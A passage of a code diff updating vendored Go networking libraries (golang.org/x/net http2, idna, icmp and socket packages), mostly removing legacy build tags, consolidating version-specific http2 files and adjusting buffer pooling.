dataChunkPools[4].Get().(*[16 << 10]byte)[:] } - return dataChunkPools[i].Get().([]byte) } func putDataBufferChunk(p []byte) { - for i, n := range dataChunkSizeClasses { - if len(p) == n { - dataChunkPools[i].Put(p) - return - } + switch len(p) { + case 1 << 10: + dataChunkPools[0].Put((*[1 << 10]byte)(p)) + case 2 << 10: + dataChunkPools[1].Put((*[2 << 10]byte)(p)) + case 4 << 10: + dataChunkPools[2].Put((*[4 << 10]byte)(p)) + case 8 << 10: + dataChunkPools[3].Put((*[8 << 10]byte)(p)) + case 16 << 10: + dataChunkPools[4].Put((*[16 << 10]byte)(p)) + default: + panic(fmt.Sprintf("unexpected buffer len=%v", len(p))) } - panic(fmt.Sprintf("unexpected buffer len=%v", len(p))) } // dataBuffer is an io.ReadWriter backed by a list of data chunks. diff --git a/vendor/golang.org/x/net/http2/go111.go b/vendor/golang.org/x/net/http2/go111.go deleted file mode 100644 index 5bf62b032e..0000000000 --- a/vendor/golang.org/x/net/http2/go111.go +++ /dev/null @@ -1,30 +0,0 @@ -// Copyright 2018 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build go1.11 -// +build go1.11 - -package http2 - -import ( - "net/http/httptrace" - "net/textproto" -) - -func traceHasWroteHeaderField(trace *httptrace.ClientTrace) bool { - return trace != nil && trace.WroteHeaderField != nil -} - -func traceWroteHeaderField(trace *httptrace.ClientTrace, k, v string) { - if trace != nil && trace.WroteHeaderField != nil { - trace.WroteHeaderField(k, []string{v}) - } -} - -func traceGot1xxResponseFunc(trace *httptrace.ClientTrace) func(int, textproto.MIMEHeader) error { - if trace != nil { - return trace.Got1xxResponse - } - return nil -} diff --git a/vendor/golang.org/x/net/http2/go115.go b/vendor/golang.org/x/net/http2/go115.go deleted file mode 100644 index 908af1ab93..0000000000 --- a/vendor/golang.org/x/net/http2/go115.go +++ /dev/null @@ -1,27 +0,0 @@ -// Copyright 2021 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build go1.15 -// +build go1.15 - -package http2 - -import ( - "context" - "crypto/tls" -) - -// dialTLSWithContext uses tls.Dialer, added in Go 1.15, to open a TLS -// connection. -func (t *Transport) dialTLSWithContext(ctx context.Context, network, addr string, cfg *tls.Config) (*tls.Conn, error) { - dialer := &tls.Dialer{ - Config: cfg, - } - cn, err := dialer.DialContext(ctx, network, addr) - if err != nil { - return nil, err - } - tlsCn := cn.(*tls.Conn) // DialContext comment promises this will always succeed - return tlsCn, nil -} diff --git a/vendor/golang.org/x/net/http2/go118.go b/vendor/golang.org/x/net/http2/go118.go deleted file mode 100644 index aca4b2b31a..0000000000 --- a/vendor/golang.org/x/net/http2/go118.go +++ /dev/null @@ -1,17 +0,0 @@ -// Copyright 2021 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build go1.18 -// +build go1.18 - -package http2 - -import ( - "crypto/tls" - "net" -) - -func tlsUnderlyingConn(tc *tls.Conn) net.Conn { - return tc.NetConn() -} diff --git a/vendor/golang.org/x/net/http2/not_go111.go b/vendor/golang.org/x/net/http2/not_go111.go deleted file mode 100644 index cc0baa8197..0000000000 --- a/vendor/golang.org/x/net/http2/not_go111.go +++ /dev/null @@ -1,21 +0,0 @@ -// Copyright 2018 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build !go1.11 -// +build !go1.11 - -package http2 - -import ( - "net/http/httptrace" - "net/textproto" -) - -func traceHasWroteHeaderField(trace *httptrace.ClientTrace) bool { return false } - -func traceWroteHeaderField(trace *httptrace.ClientTrace, k, v string) {} - -func traceGot1xxResponseFunc(trace *httptrace.ClientTrace) func(int, textproto.MIMEHeader) error { - return nil -} diff --git a/vendor/golang.org/x/net/http2/not_go115.go b/vendor/golang.org/x/net/http2/not_go115.go deleted file mode 100644 index e6c04cf7ac..0000000000 --- a/vendor/golang.org/x/net/http2/not_go115.go +++ /dev/null @@ -1,31 +0,0 @@ -// Copyright 2021 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build !go1.15 -// +build !go1.15 - -package http2 - -import ( - "context" - "crypto/tls" -) - -// dialTLSWithContext opens a TLS connection. -func (t *Transport) dialTLSWithContext(ctx context.Context, network, addr string, cfg *tls.Config) (*tls.Conn, error) { - cn, err := tls.Dial(network, addr, cfg) - if err != nil { - return nil, err - } - if err := cn.Handshake(); err != nil { - return nil, err - } - if cfg.InsecureSkipVerify { - return cn, nil - } - if err := cn.VerifyHostname(cfg.ServerName); err != nil { - return nil, err - } - return cn, nil -} diff --git a/vendor/golang.org/x/net/http2/not_go118.go b/vendor/golang.org/x/net/http2/not_go118.go deleted file mode 100644 index eab532c96b..0000000000 --- a/vendor/golang.org/x/net/http2/not_go118.go +++ /dev/null @@ -1,17 +0,0 @@ -// Copyright 2021 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:build !go1.18 -// +build !go1.18 - -package http2 - -import ( - "crypto/tls" - "net" -) - -func tlsUnderlyingConn(tc *tls.Conn) net.Conn { - return nil -} diff --git a/vendor/golang.org/x/net/http2/server.go b/vendor/golang.org/x/net/http2/server.go index 02c88b6b3e..ae94c6408d 100644 --- a/vendor/golang.org/x/net/http2/server.go +++ b/vendor/golang.org/x/net/http2/server.go @@ -2549,7 +2549,6 @@ type responseWriterState struct { wroteHeader bool // WriteHeader called (explicitly or implicitly). Not necessarily sent to user yet. sentHeader bool // have we sent the header frame? handlerDone bool // handler has finished - dirty bool // a Write failed; don't reuse this responseWriterState sentContentLen int64 // non-zero if handler set a Content-Length header wroteBytes int64 @@ -2669,7 +2668,6 @@ func (rws *responseWriterState) writeChunk(p []byte) (n int, err error) { date: date, }) if err != nil { - rws.dirty = true return 0, err } if endStream { @@ -2690,7 +2688,6 @@ func (rws *responseWriterState) writeChunk(p []byte) (n int, err error) { if len(p) > 0 || endStream { // only send a 0 byte DATA frame if we're ending the stream. if err := rws.conn.writeDataFromHandler(rws.stream, p, endStream); err != nil { - rws.dirty = true return 0, err } } @@ -2702,9 +2699,6 @@ func (rws *responseWriterState) writeChunk(p []byte) (n int, err error) { trailers: rws.trailers, endStream: true, }) - if err != nil { - rws.dirty = true - } return len(p), err } return len(p), nil @@ -2920,14 +2914,12 @@ func (rws *responseWriterState) writeHeader(code int) { h.Del("Transfer-Encoding") } - if rws.conn.writeHeaders(rws.stream, &writeResHeaders{ + rws.conn.writeHeaders(rws.stream, &writeResHeaders{ streamID: rws.stream.id, httpResCode: code, h: h, endStream: rws.handlerDone && !rws.hasTrailers(), - }) != nil { - rws.dirty = true - } + }) return } @@ -2992,19 +2984,10 @@ func (w *responseWriter) write(lenData int, dataB []byte, dataS string) (n int, func (w *responseWriter) handlerDone() { rws := w.rws - dirty := rws.dirty rws.handlerDone = true w.Flush() w.rws = nil - if !dirty { - // Only recycle the pool if all prior Write calls to - // the serverConn goroutine completed successfully. If - // they returned earlier due to resets from the peer - // there might still be write goroutines outstanding - // from the serverConn referencing the rws memory. See - // issue 20704. - responseWriterStatePool.Put(rws) - } + responseWriterStatePool.Put(rws) } // Push errors. @@ -3187,6 +3170,7 @@ func (sc *serverConn) startPush(msg *startPushRequest) { panic(fmt.Sprintf("newWriterAndRequestNoBody(%+v): %v", msg.url, err)) } + sc.curHandlers++ go sc.runHandler(rw, req, sc.handler.ServeHTTP) return promisedID, nil } diff --git a/vendor/golang.org/x/net/http2/transport.go b/vendor/golang.org/x/net/http2/transport.go index 4515b22c4a..df578b86c6 100644 --- a/vendor/golang.org/x/net/http2/transport.go +++ b/vendor/golang.org/x/net/http2/transport.go @@ -1018,7 +1018,7 @@ func (cc *ClientConn) forceCloseConn() { if !ok { return } - if nc := tlsUnderlyingConn(tc); nc != nil { + if nc := tc.NetConn(); nc != nil { nc.Close() } } @@ -3201,3 +3201,34 @@ func traceFirstResponseByte(trace *httptrace.ClientTrace) { trace.GotFirstResponseByte() } } + +func traceHasWroteHeaderField(trace *httptrace.ClientTrace) bool { + return trace != nil && trace.WroteHeaderField != nil +} + +func traceWroteHeaderField(trace *httptrace.ClientTrace, k, v string) { + if trace != nil && trace.WroteHeaderField != nil { + trace.WroteHeaderField(k, []string{v}) + } +} + +func traceGot1xxResponseFunc(trace *httptrace.ClientTrace) func(int, textproto.MIMEHeader) error { + if trace != nil { + return trace.Got1xxResponse + } + return nil +} + +// dialTLSWithContext uses tls.Dialer, added in Go 1.15, to open a TLS +// connection. +func (t *Transport) dialTLSWithContext(ctx context.Context, network, addr string, cfg *tls.Config) (*tls.Conn, error) { + dialer := &tls.Dialer{ + Config: cfg, + } + cn, err := dialer.DialContext(ctx, network, addr) + if err != nil { + return nil, err + } + tlsCn := cn.(*tls.Conn) // DialContext comment promises this will always succeed + return tlsCn, nil +} diff --git a/vendor/golang.org/x/net/icmp/helper_posix.go b/vendor/golang.org/x/net/icmp/helper_posix.go index 6c3ebfaed4..f625483f06 100644 --- a/vendor/golang.org/x/net/icmp/helper_posix.go +++ b/vendor/golang.org/x/net/icmp/helper_posix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows package icmp diff --git a/vendor/golang.org/x/net/icmp/listen_posix.go b/vendor/golang.org/x/net/icmp/listen_posix.go index 6aea804788..b7cb15b7dc 100644 --- a/vendor/golang.org/x/net/icmp/listen_posix.go +++ b/vendor/golang.org/x/net/icmp/listen_posix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows package icmp diff --git a/vendor/golang.org/x/net/icmp/listen_stub.go b/vendor/golang.org/x/net/icmp/listen_stub.go index 1acfb74b60..7b76be1cb3 100644 --- a/vendor/golang.org/x/net/icmp/listen_stub.go +++ b/vendor/golang.org/x/net/icmp/listen_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows package icmp diff --git a/vendor/golang.org/x/net/idna/go118.go b/vendor/golang.org/x/net/idna/go118.go index c5c4338dbe..712f1ad839 100644 --- a/vendor/golang.org/x/net/idna/go118.go +++ b/vendor/golang.org/x/net/idna/go118.go @@ -5,7 +5,6 @@ // license that can be found in the LICENSE file. //go:build go1.18 -// +build go1.18 package idna diff --git a/vendor/golang.org/x/net/idna/idna10.0.0.go b/vendor/golang.org/x/net/idna/idna10.0.0.go index 64ccf85feb..7b37178847 100644 --- a/vendor/golang.org/x/net/idna/idna10.0.0.go +++ b/vendor/golang.org/x/net/idna/idna10.0.0.go @@ -5,7 +5,6 @@ // license that can be found in the LICENSE file. //go:build go1.10 -// +build go1.10 // Package idna implements IDNA2008 using the compatibility processing // defined by UTS (Unicode Technical Standard) #46, which defines a standard to diff --git a/vendor/golang.org/x/net/idna/idna9.0.0.go b/vendor/golang.org/x/net/idna/idna9.0.0.go index ee1698cefb..cc6a892a4a 100644 --- a/vendor/golang.org/x/net/idna/idna9.0.0.go +++ b/vendor/golang.org/x/net/idna/idna9.0.0.go @@ -5,7 +5,6 @@ // license that can be found in the LICENSE file. //go:build !go1.10 -// +build !go1.10 // Package idna implements IDNA2008 using the compatibility processing // defined by UTS (Unicode Technical Standard) #46, which defines a standard to diff --git a/vendor/golang.org/x/net/idna/pre_go118.go b/vendor/golang.org/x/net/idna/pre_go118.go index 3aaccab1c5..40e74bb3d2 100644 --- a/vendor/golang.org/x/net/idna/pre_go118.go +++ b/vendor/golang.org/x/net/idna/pre_go118.go @@ -5,7 +5,6 @@ // license that can be found in the LICENSE file. //go:build !go1.18 -// +build !go1.18 package idna diff --git a/vendor/golang.org/x/net/idna/tables10.0.0.go b/vendor/golang.org/x/net/idna/tables10.0.0.go index d1d62ef459..c6c2bf10a6 100644 --- a/vendor/golang.org/x/net/idna/tables10.0.0.go +++ b/vendor/golang.org/x/net/idna/tables10.0.0.go @@ -1,7 +1,6 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. //go:build go1.10 && !go1.13 -// +build go1.10,!go1.13 package idna diff --git a/vendor/golang.org/x/net/idna/tables11.0.0.go b/vendor/golang.org/x/net/idna/tables11.0.0.go index 167efba712..76789393cc 100644 --- a/vendor/golang.org/x/net/idna/tables11.0.0.go +++ b/vendor/golang.org/x/net/idna/tables11.0.0.go @@ -1,7 +1,6 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. //go:build go1.13 && !go1.14 -// +build go1.13,!go1.14 package idna diff --git a/vendor/golang.org/x/net/idna/tables12.0.0.go b/vendor/golang.org/x/net/idna/tables12.0.0.go index ab40f7bcc3..0600cd2ae5 100644 --- a/vendor/golang.org/x/net/idna/tables12.0.0.go +++ b/vendor/golang.org/x/net/idna/tables12.0.0.go @@ -1,7 +1,6 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. //go:build go1.14 && !go1.16 -// +build go1.14,!go1.16 package idna diff --git a/vendor/golang.org/x/net/idna/tables13.0.0.go b/vendor/golang.org/x/net/idna/tables13.0.0.go index 66701eadfb..2fb768ef6d 100644 --- a/vendor/golang.org/x/net/idna/tables13.0.0.go +++ b/vendor/golang.org/x/net/idna/tables13.0.0.go @@ -1,7 +1,6 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. //go:build go1.16 && !go1.21 -// +build go1.16,!go1.21 package idna diff --git a/vendor/golang.org/x/net/idna/tables15.0.0.go b/vendor/golang.org/x/net/idna/tables15.0.0.go index 40033778f0..5ff05fe1af 100644 --- a/vendor/golang.org/x/net/idna/tables15.0.0.go +++ b/vendor/golang.org/x/net/idna/tables15.0.0.go @@ -1,7 +1,6 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. //go:build go1.21 -// +build go1.21 package idna diff --git a/vendor/golang.org/x/net/idna/tables9.0.0.go b/vendor/golang.org/x/net/idna/tables9.0.0.go index 4074b5332e..0f25e84ca2 100644 --- a/vendor/golang.org/x/net/idna/tables9.0.0.go +++ b/vendor/golang.org/x/net/idna/tables9.0.0.go @@ -1,7 +1,6 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. //go:build !go1.10 -// +build !go1.10 package idna diff --git a/vendor/golang.org/x/net/idna/trie12.0.0.go b/vendor/golang.org/x/net/idna/trie12.0.0.go index bb63f904b3..8a75b96673 100644 --- a/vendor/golang.org/x/net/idna/trie12.0.0.go +++ b/vendor/golang.org/x/net/idna/trie12.0.0.go @@ -5,7 +5,6 @@ // license that can be found in the LICENSE file. //go:build !go1.16 -// +build !go1.16 package idna diff --git a/vendor/golang.org/x/net/idna/trie13.0.0.go b/vendor/golang.org/x/net/idna/trie13.0.0.go index 7d68a8dc13..fa45bb9074 100644 --- a/vendor/golang.org/x/net/idna/trie13.0.0.go +++ b/vendor/golang.org/x/net/idna/trie13.0.0.go @@ -5,7 +5,6 @@ // license that can be found in the LICENSE file. //go:build go1.16 -// +build go1.16 package idna diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr.go b/vendor/golang.org/x/net/internal/socket/cmsghdr.go index 4bdaaaf1ad..33a5bf59c3 100644 --- a/vendor/golang.org/x/net/internal/socket/cmsghdr.go +++ b/vendor/golang.org/x/net/internal/socket/cmsghdr.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_bsd.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_bsd.go index 0d30e0a0f2..68f438c845 100644 --- a/vendor/golang.org/x/net/internal/socket/cmsghdr_bsd.go +++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_bsd.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || netbsd || openbsd -// +build aix darwin dragonfly freebsd netbsd openbsd package socket diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_32bit.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_32bit.go index 4936e8a6f3..058ea8de89 100644 --- a/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_32bit.go +++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_32bit.go @@ -3,8 +3,6 @@ // license that can be found in the LICENSE file. //go:build (arm || mips || mipsle || 386 || ppc) && linux -// +build arm mips mipsle 386 ppc -// +build linux package socket diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_64bit.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_64bit.go index f6877f98fd..3ca0d3a0ab 100644 --- a/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_64bit.go +++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_linux_64bit.go @@ -3,8 +3,6 @@ // license that can be found in the LICENSE file. //go:build (arm64 || amd64 || loong64 || ppc64 || ppc64le || mips64 || mips64le || riscv64 || s390x) && linux -// +build arm64 amd64 loong64 ppc64 ppc64le mips64 mips64le riscv64 s390x -// +build linux package socket diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_solaris_64bit.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_solaris_64bit.go index d3dbe1b8e0..6d0e426cdd 100644 --- a/vendor/golang.org/x/net/internal/socket/cmsghdr_solaris_64bit.go +++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_solaris_64bit.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build amd64 && solaris -// +build amd64,solaris package socket diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_stub.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_stub.go index 1d9f2ed625..7ca9cb7e78 100644 --- a/vendor/golang.org/x/net/internal/socket/cmsghdr_stub.go +++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/cmsghdr_unix.go b/vendor/golang.org/x/net/internal/socket/cmsghdr_unix.go index 19d46789de..0211f225bf 100644 --- a/vendor/golang.org/x/net/internal/socket/cmsghdr_unix.go +++ b/vendor/golang.org/x/net/internal/socket/cmsghdr_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/complete_dontwait.go b/vendor/golang.org/x/net/internal/socket/complete_dontwait.go index 5b1d50ae72..2038f29043 100644 --- a/vendor/golang.org/x/net/internal/socket/complete_dontwait.go +++ b/vendor/golang.org/x/net/internal/socket/complete_dontwait.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris -// +build darwin dragonfly freebsd linux netbsd openbsd solaris package socket diff --git a/vendor/golang.org/x/net/internal/socket/complete_nodontwait.go b/vendor/golang.org/x/net/internal/socket/complete_nodontwait.go index be63409583..70e6f448b0 100644 --- a/vendor/golang.org/x/net/internal/socket/complete_nodontwait.go +++ b/vendor/golang.org/x/net/internal/socket/complete_nodontwait.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || windows || zos -// +build aix windows zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/empty.s b/vendor/golang.org/x/net/internal/socket/empty.s index 90ab4ca3d8..49d79791e0 100644 --- a/vendor/golang.org/x/net/internal/socket/empty.s +++ b/vendor/golang.org/x/net/internal/socket/empty.s @@ -3,6 +3,5 @@ // license that can be found in the LICENSE file. //go:build darwin && go1.12 -// +build darwin,go1.12 // This exists solely so we can linkname in symbols from syscall. diff --git a/vendor/golang.org/x/net/internal/socket/error_unix.go b/vendor/golang.org/x/net/internal/socket/error_unix.go index 78f4129047..7a5cc5c43e 100644 --- a/vendor/golang.org/x/net/internal/socket/error_unix.go +++ b/vendor/golang.org/x/net/internal/socket/error_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/iovec_32bit.go b/vendor/golang.org/x/net/internal/socket/iovec_32bit.go index 2b8fbb3f3d..340e53fbda 100644 --- a/vendor/golang.org/x/net/internal/socket/iovec_32bit.go +++ b/vendor/golang.org/x/net/internal/socket/iovec_32bit.go @@ -3,8 +3,6 @@ // license that can be found in the LICENSE file. //go:build (arm || mips || mipsle || 386 || ppc) && (darwin || dragonfly || freebsd || linux || netbsd || openbsd) -// +build arm mips mipsle 386 ppc -// +build darwin dragonfly freebsd linux netbsd openbsd package socket diff --git a/vendor/golang.org/x/net/internal/socket/iovec_64bit.go b/vendor/golang.org/x/net/internal/socket/iovec_64bit.go index 2e94e96f8b..26470c191a 100644 --- a/vendor/golang.org/x/net/internal/socket/iovec_64bit.go +++ b/vendor/golang.org/x/net/internal/socket/iovec_64bit.go @@ -3,8 +3,6 @@ // license that can be found in the LICENSE file. //go:build (arm64 || amd64 || loong64 || ppc64 || ppc64le || mips64 || mips64le || riscv64 || s390x) && (aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || zos) -// +build arm64 amd64 loong64 ppc64 ppc64le mips64 mips64le riscv64 s390x -// +build aix darwin dragonfly freebsd linux netbsd openbsd zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/iovec_solaris_64bit.go b/vendor/golang.org/x/net/internal/socket/iovec_solaris_64bit.go index f7da2bc4d4..8859ce1035 100644 --- a/vendor/golang.org/x/net/internal/socket/iovec_solaris_64bit.go +++ b/vendor/golang.org/x/net/internal/socket/iovec_solaris_64bit.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build amd64 && solaris -// +build amd64,solaris package socket diff --git a/vendor/golang.org/x/net/internal/socket/iovec_stub.go b/vendor/golang.org/x/net/internal/socket/iovec_stub.go index 14caf52483..da886b0326 100644 --- a/vendor/golang.org/x/net/internal/socket/iovec_stub.go +++ b/vendor/golang.org/x/net/internal/socket/iovec_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/mmsghdr_stub.go b/vendor/golang.org/x/net/internal/socket/mmsghdr_stub.go index 113e773cd5..4825b21e3e 100644 --- a/vendor/golang.org/x/net/internal/socket/mmsghdr_stub.go +++ b/vendor/golang.org/x/net/internal/socket/mmsghdr_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !linux && !netbsd -// +build !aix,!linux,!netbsd package socket diff --git a/vendor/golang.org/x/net/internal/socket/mmsghdr_unix.go b/vendor/golang.org/x/net/internal/socket/mmsghdr_unix.go index 41883c530c..311fd2c789 100644 --- a/vendor/golang.org/x/net/internal/socket/mmsghdr_unix.go +++ b/vendor/golang.org/x/net/internal/socket/mmsghdr_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || linux || netbsd -// +build aix linux netbsd package socket diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_bsd.go b/vendor/golang.org/x/net/internal/socket/msghdr_bsd.go index 25f6847f99..ebff4f6e05 100644 --- a/vendor/golang.org/x/net/internal/socket/msghdr_bsd.go +++ b/vendor/golang.org/x/net/internal/socket/msghdr_bsd.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || netbsd || openbsd -// +build aix darwin dragonfly freebsd netbsd openbsd package socket diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_bsdvar.go b/vendor/golang.org/x/net/internal/socket/msghdr_bsdvar.go index 5b8e00f1cd..62e6fe8616 100644 --- a/vendor/golang.org/x/net/internal/socket/msghdr_bsdvar.go +++ b/vendor/golang.org/x/net/internal/socket/msghdr_bsdvar.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || netbsd -// +build aix darwin dragonfly freebsd netbsd package socket diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_linux_32bit.go b/vendor/golang.org/x/net/internal/socket/msghdr_linux_32bit.go index b4658fbaeb..3dd07250a6 100644 --- a/vendor/golang.org/x/net/internal/socket/msghdr_linux_32bit.go +++ b/vendor/golang.org/x/net/internal/socket/msghdr_linux_32bit.go @@ -3,8 +3,6 @@ // license that can be found in the LICENSE file. //go:build (arm || mips || mipsle || 386 || ppc) && linux -// +build arm mips mipsle 386 ppc -// +build linux package socket diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_linux_64bit.go b/vendor/golang.org/x/net/internal/socket/msghdr_linux_64bit.go index 42411affad..5af9ddd6ab 100644 --- a/vendor/golang.org/x/net/internal/socket/msghdr_linux_64bit.go +++ b/vendor/golang.org/x/net/internal/socket/msghdr_linux_64bit.go @@ -3,8 +3,6 @@ // license that can be found in the LICENSE file. //go:build (arm64 || amd64 || loong64 || ppc64 || ppc64le || mips64 || mips64le || riscv64 || s390x) && linux -// +build arm64 amd64 loong64 ppc64 ppc64le mips64 mips64le riscv64 s390x -// +build linux package socket diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_solaris_64bit.go b/vendor/golang.org/x/net/internal/socket/msghdr_solaris_64bit.go index 3098f5d783..e212b50f8d 100644 --- a/vendor/golang.org/x/net/internal/socket/msghdr_solaris_64bit.go +++ b/vendor/golang.org/x/net/internal/socket/msghdr_solaris_64bit.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build amd64 && solaris -// +build amd64,solaris package socket diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_stub.go b/vendor/golang.org/x/net/internal/socket/msghdr_stub.go index eb79151f6a..e876776459 100644 --- a/vendor/golang.org/x/net/internal/socket/msghdr_stub.go +++ b/vendor/golang.org/x/net/internal/socket/msghdr_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/msghdr_zos_s390x.go b/vendor/golang.org/x/net/internal/socket/msghdr_zos_s390x.go index 324e9ee7d1..529db68ee3 100644 --- a/vendor/golang.org/x/net/internal/socket/msghdr_zos_s390x.go +++ b/vendor/golang.org/x/net/internal/socket/msghdr_zos_s390x.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build s390x && zos -// +build s390x,zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/norace.go b/vendor/golang.org/x/net/internal/socket/norace.go index de0ad420fc..8af30ecfbb 100644 --- a/vendor/golang.org/x/net/internal/socket/norace.go +++ b/vendor/golang.org/x/net/internal/socket/norace.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !race -// +build !race package socket diff --git a/vendor/golang.org/x/net/internal/socket/race.go b/vendor/golang.org/x/net/internal/socket/race.go index f0a28a625d..9afa958083 100644 --- a/vendor/golang.org/x/net/internal/socket/race.go +++ b/vendor/golang.org/x/net/internal/socket/race.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build race -// +build race package socket diff --git a/vendor/golang.org/x/net/internal/socket/rawconn_mmsg.go b/vendor/golang.org/x/net/internal/socket/rawconn_mmsg.go index 8f79b38f74..0431390789 100644 --- a/vendor/golang.org/x/net/internal/socket/rawconn_mmsg.go +++ b/vendor/golang.org/x/net/internal/socket/rawconn_mmsg.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build linux -// +build linux package socket diff --git a/vendor/golang.org/x/net/internal/socket/rawconn_msg.go b/vendor/golang.org/x/net/internal/socket/rawconn_msg.go index f7d0b0d2b8..7c0d7410bc 100644 --- a/vendor/golang.org/x/net/internal/socket/rawconn_msg.go +++ b/vendor/golang.org/x/net/internal/socket/rawconn_msg.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/rawconn_nommsg.go b/vendor/golang.org/x/net/internal/socket/rawconn_nommsg.go index 02f3285566..e363fb5a89 100644 --- a/vendor/golang.org/x/net/internal/socket/rawconn_nommsg.go +++ b/vendor/golang.org/x/net/internal/socket/rawconn_nommsg.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !linux -// +build !linux package socket diff --git a/vendor/golang.org/x/net/internal/socket/rawconn_nomsg.go b/vendor/golang.org/x/net/internal/socket/rawconn_nomsg.go index dd785877b6..ff7a8baf0b 100644 --- 